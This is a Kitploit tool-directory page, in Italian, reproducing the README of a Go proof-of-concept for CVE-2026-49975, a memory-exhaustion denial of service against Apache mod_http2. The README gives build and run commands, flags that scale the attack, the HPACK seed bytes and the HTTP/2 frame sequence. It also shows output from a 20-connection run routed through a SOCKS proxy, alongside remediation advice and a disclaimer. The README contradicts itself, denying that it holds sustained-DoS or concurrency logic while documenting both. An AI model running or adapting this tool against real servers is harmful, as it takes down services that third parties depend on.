Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
POC-CVE-2026-49975 — PoC di ricerca sulla sicurezza per CVE-2026-49975: bomba di compressione HTTP/2 HPACK + DoS con blocco del controllo di flusso in Apache mod_http2 | Kitploit
Strumenti/GitHubGitHub/naheeju/poc-cve-2026-49975
Analisi delle VulnerabilitàExploitSicurezza WebSicurezza di Rete
GitHubnaheeju/poc-cve-2026-49975

POC-CVE-2026-49975

PoC di ricerca sulla sicurezza per CVE-2026-49975: bomba di compressione HTTP/2 HPACK + DoS con blocco del controllo di flusso in Apache mod_http2

Vedi Repository
7h 36m faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Go Version Status Scope CVSS License

CVE-2026-49975

HTTP/2 Bomb — PoC di bomba di compressione HPACK + blocco del controllo di flusso

PoC di ricerca sulla sicurezza di naheeju


⚠️ Questo è uno strumento DoS funzionante di esaurimento della memoria — non un giocattolo. Apre stream che costringono il target ad allocare memoria e li mantiene aperti tramite trucchi di controllo di flusso HTTP/2. Finché il processo è in esecuzione, continua a mantenere e si riconnette automaticamente se il server chiude la connessione — non si ferma da solo. L'impatto scala direttamente con --threads, e . Fermare il processo (Ctrl+C) rilascia gli stream mantenuti e consente al server di riprendersi, ma nulla nel funzionamento predefinito è "gentile" — considera ogni esecuzione come un test a fuoco vivo.

--streams
--headers

1. Panoramica

CVE-2026-49975 ("HTTP/2 Bomb") è una vulnerabilità di Denial-of-Service remota e non autenticata che interessa il modulo mod_http2 di Apache HTTP Server. Concatena due debolezze HTTP/2 note da tempo:

  1. Bomba di bookkeeping HPACK — una piccola richiesta HTTP/2 codificata in HPACK provoca l'unione di più frammenti di header Cookie senza che vengano conteggiati ai fini di LimitRequestFields, costringendo il server ad allocare ripetutamente memoria per le strutture interne di bookkeeping degli header.
  2. Stallo del controllo di flusso (stile Slowloris) — il client annuncia una finestra di controllo di flusso quasi nulla, ritardando la trasmissione della risposta e mantenendo aperti gli stream interessati, il che impedisce il rilascio della memoria allocata.

Il risultato: un singolo client su una connessione modesta può forzare un'allocazione di memoria significativa e sostenuta sul target per tutto il tempo in cui lo stream viene mantenuto aperto. Questa implementazione supporta due modalità di payload e scala linearmente con la concorrenza configurata:

  • modalità nginx — inserisce un header x-bomb vuoto nella tabella dinamica HPACK e lo referenzia ripetutamente (~70:1 di amplificazione per riferimento).
  • modalità classic — inserisce invece un header cookie sovradimensionato (~4000:1 di amplificazione per riferimento).

Ogni connessione referenzia nuovamente l'header inserito migliaia di volte per stream (--headers, predefinito 5000), su più stream per connessione (--streams, predefinito 10) e più connessioni parallele (--threads, predefinito 1). Se il server chiude una connessione, lo strumento si riconnette immediatamente e continua finché non viene fermato manualmente — questo è un ciclo di mantenimento continuo, non una singola sonda una tantum.

Identificatori correlati per altri stack interessati (non implementati né testati da questo repo):

  • Envoy → CVE-2026-47774
  • Microsoft IIS, Cloudflare Pingora → tracciati separatamente, nessun CVE referenziato qui

Ambito completo della classe di debolezza sottostante, per completezza — la tecnica "HTTP/2 Bomb" (bomba di compressione HPACK + blocco del controllo di flusso) interessa diverse implementazioni server oltre ad Apache. Questo repo implementa e testa solo il caso Apache; il resto è incluso affinché i lettori comprendano la classe più ampia, non perché questo PoC le eserciti:

ImplementazioneStatoImplementata in questo PoC?
Apache HTTP Server mod_http2Corretta in httpd 2.4.68 (2026-06-08)Sì — questo repo
nginxCorretta in 1.29.8No
EnvoyTracciata separatamenteNo
Microsoft IISTracciata separatamenteNo
Cloudflare PingoraTracciata separatamenteNo
CVECVE-2026-49975
CWECWE-789 (Memory Allocation with Excessive Size Value, secondo NVD/CVE.org); tracciata anche come CWE-409 (Improper Handling of Highly Compressed Data) da alcuni vendor
CVSS7.5 (High) — CVSS v3.1, vettore solo disponibilità (secondo NVD). L'advisory di Apache la valuta Moderate.
Componente interessatoApache HTTP Server mod_http2
Versioni vulnerabiliApache httpd 2.4.17 ≤ versione ≤ 2.4.67 (configurazione HTTP/2 predefinita)
Corretta inApache HTTP Server 2.4.68 (rilasciata il 2026-06-08). La correzione sottostante è arrivata upstream in mod_h2 il 2026-05-27, unita al branch httpd 2.4.x il 2026-06-02, distribuita nella release 2.4.68.
Tipo di attaccoDenial of Service — esaurimento della memoria (solo disponibilità)
Autenticazione richiestaNo
Esposizione dati / RCENessuna — questo è solo un impatto sulla disponibilità
Sfruttamento notoAttualmente non segnalato come sfruttato attivamente nel mondo reale dalle fonti tracciate.

Riferimenti (fonti primarie — verifica in modo indipendente tutte le affermazioni):

  • Record CVE: https://www.cve.org/CVERecord?id=CVE-2026-49975
  • Voce NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-49975
  • Advisory Apache / elenco vulnerabilità: https://httpd.apache.org/security/vulnerabilities_24.html
  • Changelog di Apache 2.4.68 (riferimento al commit di correzione): https://dlcdn.apache.org/httpd/CHANGES_2.4.68
  • Writeup della scoperta originale: https://blog.calif.io/p/codex-discovered-a-hidden-http2-bomb

2. Ambito di questo Repository

Questo repository contiene:

  • Uno script PoC minimale che riproduce il comportamento di bomba HPACK di solo mantenimento contro un target che sei autorizzato a testare.
  • Questo README, che documenta la vulnerabilità, la cronologia di divulgazione e le condizioni di uso sicuro.

Questo repository non contiene:

  • Qualsiasi automazione per scansionare internet alla ricerca di host vulnerabili.
  • Qualsiasi logica di flooding/sostentamento DoS, incremento della concorrenza o liste di credenziali/target.
  • Qualsiasi codice che prende di mira per impostazione predefinita un sistema live specifico. Il target deve essere fornito esplicitamente dall'operatore.

3. ⚖️ Avviso Legale ed Etico

Leggi questo prima di fare qualsiasi altra cosa.

  • Questo PoC è pubblicato rigorosamente per scopi educativi e di ricerca sulla sicurezza difensiva — per aiutare gli operatori a verificare la propria esposizione e per supportare il registro pubblico di una vulnerabilità già divulgata e già corretta.
  • Devi avere un'autorizzazione esplicita e documentata dal proprietario del sistema prima di eseguirlo contro qualsiasi target che non sia la tua infrastruttura o un sistema che sei contrattualmente/legalmente autorizzato a testare (ad esempio, un incarico di pentest firmato, un ambito di bug bounty o un permesso scritto).
  • Eseguire questo PoC contro sistemi che non possiedi o che non sei autorizzato a testare — inclusi, a titolo esemplificativo ma non esaustivo, agenzie governative, forze dell'ordine, infrastrutture critiche o qualsiasi sistema di produzione di terze parti — senza permesso è illegale nella maggior parte delle giurisdizioni (in Indonesia, questo rientra nella UU ITE) e può costituire reato penale altrove.
  • Gli autori di questo repository:
    • Non si assumono alcuna responsabilità per l'uso improprio di questo codice.
    • Non approvano l'uso di questo PoC per interrompere, degradare o negare il servizio a qualsiasi sistema senza autorizzazione.
    • Forniscono questo codice così com'è, senza garanzie di alcun tipo.
  • Se sei un vendor, un'agenzia o un operatore di sistema che ha trovato questo repository perché il tuo sistema è stato testato: consulta la Sezione 6 — Cronologia di Divulgazione per sapere come è stato segnalato e a chi.

Scaricando, clonando o eseguendo qualsiasi codice in questo repository, accetti di essere l'unico responsabile di assicurarti di disporre della corretta autorizzazione e di accettare la piena responsabilità legale per il tuo uso dello stesso.


4. Metodo di Ricognizione

CVE-2026-49975 si applica solo a un target che soddisfa entrambi i criteri della Sezione 1 — raggiungibile su HTTP/2 e con una versione di mod_http2 vulnerabile e nell'intervallo (2.4.17 ≤ versione ≤ 2.4.67, configurazione predefinita). Un semplice curl -vkI contro la porta HTTPS del target è sufficiente per verificare entrambi — nessuno scanner o flag aggiuntivo necessario:

root@kitploit:~
curl -vkI https://<target>

Cosa cercare nell'output:

  • ALPN: server accepted h2 — il server ha negoziato HTTP/2 per questa connessione. Questa è la precondizione per CVE-2026-49975, poiché il bug risiede in mod_http2; un server che non ha mai accettato h2 qui non è un candidato.
  • L'header di risposta Server (visibile una volta stampati gli header della risposta HEAD, più in basso nell'output di -v) — questo è ciò che conferma o esclude la versione effettiva di Apache/mod_http2 rispetto all'intervallo vulnerabile della Sezione 1. La sola accettazione ALPN non conferma la versione — serve comunque l'header Server o un controllo equivalente del banner.

Nulla di più di questo viene utilizzato per la ricognizione in questo repo — nessun traffico di sfruttamento attivo, nessuno scanner di vulnerabilità, nessuna scansione delle porte.


5. Requisiti

  • Runtime: Go 1.26+ (modulo: cve202649975)
  • Dipendenze: golang.org/x/net v0.59.0 (risolte automaticamente tramite go build)
  • Accesso di rete: raggiungibilità TCP diretta verso il target autorizzato sulla porta specificata (predefinita 443, TLS/h2 per impostazione predefinita; --no-ssl per h2c in chiaro)
  • Opzionale: proxychains4 — se il binario viene avviato sotto proxychains4, rileva il wrapper LD_PRELOAD, legge lo stesso proxychains4.conf e instrada le proprie connessioni attraverso quel proxy SOCKS5 (risoluzione DNS remota) — utile quando l'ambito di un incarico richiede di testare da un percorso di uscita specifico
  • Permessi: autorizzazione scritta / lettera di incarico per il target in fase di test

6. Cronologia di Divulgazione

Cronologia pubblica di CVE-2026-49975 stesso: segnalata ad Apache il 2026-05-26; correzione arrivata upstream in mod_h2 il 2026-05-27; unita al branch httpd 2.4.x il 2026-06-02; Apache HTTP Server 2.4.68 rilasciato il 2026-06-08.


7. Utilizzo

Esegui questo solo contro un target che sei esplicitamente autorizzato a testare. Non esiste un limite di durata integrato né una modalità sicura — tu sei responsabile di quanto a lungo viene eseguito e con quale concorrenza.

Compilazione:

root@kitploit:~
go build -o dos ./cmd
# or: sudo install -m 0755 dos /usr/local/bin/dos   (see build.sh)

Esecuzione:

root@kitploit:~
./dos <target> <port> [flags]
FlagPredefinitoDescrizione
--threads N1Connessioni parallele
--streams N10Stream aperti per connessione
--headers N5000Riferimenti alla tabella dinamica HPACK per stream (motore di amplificazione)
--mode nginx|classicnginxnginx = bomba di bookkeeping a header vuoto (~70:1); classic = bomba a cookie grasso (~4000:1, corrisponde al meccanismo di unione dei Cookie di mod_http2 di Apache per cui questo CVE è tracciato)
--no-ssloffUsa h2c in chiaro invece di TLS

Esempio, test minimale autorizzato in laboratorio:

root@kitploit:~
./dos lab-target.internal 443 --threads 1 --streams 5 --headers 1000 --mode nginx

Comportamento da attendersi:

  • Stampa un riepilogo pre-volo (target, modalità, conteggi di connessioni/stream, memoria lato server stimata) prima di inviare qualsiasi cosa.
  • Mantiene gli stream aperti con gocciolamenti di WINDOW_UPDATE da 1 byte e ping periodici; si riconnette automaticamente e ripete se il server chiude la connessione.
  • Si ferma solo quando invii Ctrl+C / SIGTERM — pianifica di conseguenza la tua finestra di test e monitora la memoria del target in tempo reale.
  • Raccomandato: convalidare prima contro un ambiente di staging/laboratorio con --streams/--headers bassi prima di qualsiasi test di produzione autorizzato, e avere comunque pronto un piano di rollback/riavvio per il servizio target.

7a. Stima della Pressione sulla RAM

Formula approssimativa della memoria lato server per le due modalità di questo strumento (solo Apache mod_http2 — vedi la Sezione 1 per come nginx/classic si mappano al rapporto di amplificazione):

root@kitploit:~
total_streams   = threads × streams
server_ram_MB   ≈ total_streams × headers × amplification_bytes / 1024²

# nginx mode (~70 bytes/ref), defaults (threads=1, streams=10, headers=5000):
#   1 × 10 × 5000 × 70 / 1024²  ≈ 3.3 MB held

# classic mode (~4000 bytes/ref), defaults:
#   1 × 10 × 5000 × 4000 / 1024² ≈ 190 MB held

Aumenta threads/streams/headers e il numero cresce linearmente — ecco perché un test autorizzato in laboratorio dovrebbe iniziare basso (vedi Sezione 7) prima di qualsiasi esecuzione in ambito di produzione.


7b. Dettagli Tecnici

Questo documenta il meccanismo che questo specifico PoC implementa contro Apache mod_http2 — non si estende ad altre implementazioni server, che sono fuori ambito per questo repository (vedi Sezione 2).

Seme della tabella dinamica HPACK (indicizzazione incrementale, aggiunge la voce all'indice 62):

root@kitploit:~
0x40 | name_len | name | value_len | value
= 0x40 0x06 "x-bomb" 0x00              (nginx-mode seed: empty value)

Riferimento indicizzato a quella voce (1 byte ciascuno, ripetuto --headers volte):

root@kitploit:~
0x80 | 62 = 0xbe

Sequenza di frame HTTP/2 per connessione:

root@kitploit:~
Client → Server:
  PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n        (connection preface)
  SETTINGS [INITIAL_WINDOW_SIZE=0]         (flow-control stall setup)
  SETTINGS ACK                             (after reading server SETTINGS)
  HEADERS [stream 1]  ← HPACK bomb payload
  HEADERS [stream 3]  ← HPACK bomb payload
  ...                                      (up to --streams per connection)
  WINDOW_UPDATE(1) per stream, periodically   (keeps the stall alive)

Il costo sulla rete è piccolo e per lo più fisso per stream (una manciata di byte per il seme + 1 byte per riferimento); l'allocazione lato server è ciò che cresce in modo sproporzionato — quel divario è la vulnerabilità.


7c. Output di Esempio

Output di un'esecuzione autorizzata in laboratorio, modalità classic, 20 connessioni × 30 stream/conn, 5000 riferimenti HPACK/stream, instradata attraverso proxychains:

root@kitploit:~
proxychains4 dos domain.com 443 --mode classic --threads 20 --streams 30 --headers 5000
root@kitploit:~
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17


 ██╗  ██╗██████╗     ██████╗  ██████╗ ███╗   ███╗██████╗
 ██║  ██║╚════██╗    ██╔══██╗██╔═══██╗████╗ ████║██╔══██╗
 ███████║ █████╔╝    ██████╔╝██║   ██║██╔████╔██║██████╔╝
 ██╔══██║██╔═══╝     ██╔══██╗██║   ██║██║╚██╔╝██║██╔══██╗
 ██║  ██║███████╗    ██████╔╝╚██████╔╝██║ ╚═╝ ██║██████╔╝
 ╚═╝  ╚═╝╚══════╝    ╚═════╝  ╚═════╝ ╚═╝     ╚═╝╚═════╝

  CVE-2026-49975  —  HTTP/2 Bomb PoC  (HPACK bomb + flow-control hold)
  Go PoC by naheeju  ·  originally discovered by Calif.IO  ·  authorized testing only
──────────────────────────────────────────────────────────────────
  Run configuration
  Target           domain.com:443
  Mode             classic (~4000:1 amplification)
  Connections      20
  Streams/conn     30
  Total streams    600
  HPACK refs/str   5000
  Est. server RAM  ~11444 MB
  Proxychains      yes — SOCKS5 127.0.0.1:9050 (remote DNS, no leak)
──────────────────────────────────────────────────────────────────
  [~] Opening connection #1...
  ...
  [+] 30 streams open | ~572 MB pinned on server | holding...
  [+] 30 streams open | ~572 MB pinned on server | holding...
  ... (one line per connection as it finishes opening its 30 streams)

Ogni connessione riporta indipendentemente il proprio contributo di RAM locale mentre apre gli stream (~572 MB per connessione con queste impostazioni); la cifra pre-volo Est. server RAM è l'aggregato su tutte le 20 connessioni (~11,4 GB) una volta che ogni connessione è completamente aperta e in mantenimento.

domain.com sopra è un segnaposto — sostituiscilo con il tuo effettivo target autorizzato quando documenti la tua esecuzione, e oscuralo se l'incarico è riservato.


8. Remediation

  • Apache HTTP Server: aggiorna a httpd 2.4.68 o successivo (questa è la release che contiene la correzione).
  • Se la patch immediata non è possibile:
    • Imposta LimitRequestFields in modo conservativo e monitora il comportamento di unione degli header.
    • Valuta la possibilità di disabilitare HTTP/2 sul listener interessato fino alla patch.
    • Metti il servizio dietro un reverse proxy/WAF che imponga un limite rigido al numero di header.
  • Ripeti il test dopo la remediation per confermare che il comportamento di mantenimento-e-rilascio non causi più una crescita sostenuta della memoria.

9. Crediti / Attribuzione

Scoperta e divulgazione originale della vulnerabilità ad Apache (nessuna relazione con questo repository o con il suo autore):

  • Quang Luong, Calif.IO, in collaborazione con OpenAI Codex
  • Segnalata al Progetto Apache HTTP Server il 2026-05-26; riga di credito ufficiale pubblicata nel changelog 2.4.68

Questo repository (reimplementazione in Go, scritta e testata dopo l'arrivo della correzione pubblica):

  • Autore: naheeju
  • PoC indipendente costruito dalla descrizione pubblica della vulnerabilità e dal diff della patch, per scopi di verifica/educativi contro target autorizzati. Non affiliato alla scoperta originale, a Calif.IO o all'Apache Security Team.

Domande, correzioni o preoccupazioni relative alla divulgazione responsabile riguardo a questo specifico PoC: apri una issue su questo repository.

Licenza: MIT (solo il codice di questo repository — vedi LICENSE). Non si estende a, né implica l'approvazione da parte di, gli scopritori originali o della Apache Software Foundation.

Scarica lo strumento